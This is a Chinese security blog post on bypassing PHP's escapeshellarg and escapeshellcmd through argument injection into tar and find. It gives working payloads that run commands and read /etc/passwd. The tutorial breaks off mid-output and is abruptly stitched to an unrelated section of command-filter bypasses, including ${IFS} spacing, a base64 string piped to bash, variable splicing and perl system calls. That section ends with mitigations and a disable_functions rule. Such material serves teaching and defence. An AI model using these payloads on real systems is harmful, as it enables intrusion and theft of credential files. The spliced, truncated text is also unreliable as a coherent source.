利用/绕过escapeshellarg/escapeshellcmd函数

本文详细介绍了PHP的escapeshellarg和escapeshellcmd函数,用于防止命令注入攻击。然而,文章揭示了这些函数的局限性和可能的绕过方法,包括通过参数注入在TAR、FIND、SENDMAIL、CURL、MYSQL、UNZIP等命令中执行恶意操作。同时,文章提到了一些经典漏洞利用示例和GitList RCE漏洞的利用方式,强调了设置LANG环境变量的重要性。此外,还给出了如何利用这些漏洞执行命令的例子,以及如何通过限制参数来增强安全性。

[1]escapeshellarg和escapeshellcmd的功能

escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
概述:
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd:
(PHP 4, PHP 5, PHP 7)
shell 元字符转义
string escapeshellcmd ( string $command )
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义;反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对儿的时候被转义;在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
概述:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

用groups去打印组里每个username成员

<?php
	$username = 'h3rmesk1t';
	system('groups '.$username);
?>

=> 
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare

但是攻击者可以在username里使用;或者||
在Linux里,这意味着第二个命令可以在第一个之后被执行

<?php
	$username = 'h3rmesk1t;id';
	system('groups '.$username);
?>

=> 
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare
uid=0(root) gid=0(root) groups=0(root)

为了防止这一点,我们使用escapeshellcmd
现在攻击者不能允许第2个命令了

<?php
	$username = 'h3rmesk1t;id';
	system(escapeshellcmd('groups '.$username));
?>

=>
groups: ‘h3rmesk1t;id’: no such user

这是因为php内部运行了下列命令,以至于myuser;id被当成了一个字符串

$ groups myuser;id
groups: „myuser;id”: no such user

但是在这种方法中,攻击者可以指定更多参数groups
例如,一次检测多个用户

<?php
	$username = 'h3rmesk1t root';
	system(escapeshellcmd('groups '.$username));
?>

=>
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare
root : root

假设我们希望允许每个脚本执行仅检查一个用户

<?php
	$username = 'h3rmesk1t root';
	system('groups '.escapeshellarg($username));
?>

=> 
groups: ‘h3rmesk1t root’: no such user

这是因为现在$username被视为单个参数:

$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user

[2]已知的绕过/利用

参数注入

从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令
但是我们仍然可以将参数传递给第一个命令
这意味着我们也可以将新选项传递给命令
利用漏洞的能力取决于目标可执行文件
可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项

TAR

压缩some_file到/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

在/Desktop目录下查找1.php

<?php
	$command = '1.php';
	system('find ~/Desktop/ -iname '.escapeshellcmd($command));
?>

=> 
/root/Desktop/1.php

打印/etc/passwd内容

<?php
	$file = "sth -or -exec cat /etc/passwd ; -quit";
	system("find /tmp -iname ".escapeshellcmd($file));
?>

=>
root:x:0:0:root
命令执行绕过技术是一种在渗透测试和漏洞利用中常被讨论的技术,特别是在存在命令执行漏洞的情况下,攻击者可能会尝试绕过系统对命令执行的限制。以下是几种常见的绕过方法和修复策略: ### 空格过滤的绕过方法 在某些情况下,系统可能过滤了空格字符,以防止执行多个命令。攻击者可以使用其他字符替代空格来绕过这种限制。例如,可以使用 `${IFS}`(内部字段分隔符)来替代空格: ```bash cat${IFS}/etc/passwd ``` ### 关键字过滤的绕过方法 如果系统过滤了特定的关键字,如 `cat` 或 `ls`,攻击者可能会尝试使用其他命令或编码方式来绕过。例如,使用 `nl` 命令来读取文件内容,或者使用 base64 编码来混淆命令: ```bash echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash ``` ### 变量拼接 通过将命令拆分为多个变量,然后拼接执行,可以绕过简单的关键字过滤机制。例如: ```bash a=ca b=t $a$b /etc/passwd ``` ### 通配符编码 使用通配符或特殊字符来代替具体的文件名或命令,以绕过过滤。例如,使用 `*` 来匹配文件名: ```bash cat /*/passwd ``` ### bypass command execution restrictions 在某些环境中,可能对命令执行进行了严格的限制。攻击者可能会尝试使用脚本语言(如 Perl 或 Python)来绕过这些限制,因为这些语言本身提供了执行系统命令的功能: ```bash perl -e 'system("cat /etc/passwd");' ``` ### 命令执行漏洞修复方法 为了防止命令执行漏洞,应采取以下措施: 1. **避免直接使用用户输入**:不要直接将用户输入用于命令执行,而是使用安全的API或函数。 2. **输入验证**:对所有用户输入进行严格的验证,确保输入符合预期格式。 3. **使用安全函数**:在PHP中,可以使用 `escapeshellarg()` 和 `escapeshellcmd()` 函数来转义命令参数和命令本身,防止注入攻击。 ### PHP禁用敏感函数PHP中,可以通过 `php.ini` 文件禁用可能带来风险的函数,如 `exec`、`shell_exec`、`system` 等: ```ini disable_functions = exec,shell_exec,system,passthru ``` 通过上述方法,可以有效地绕过或修复命令执行相关的安全限制和漏洞。然而,重要的是要强调这些技术仅应用于合法的渗透测试和安全研究中,未经授权的攻击和测试是非法的。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值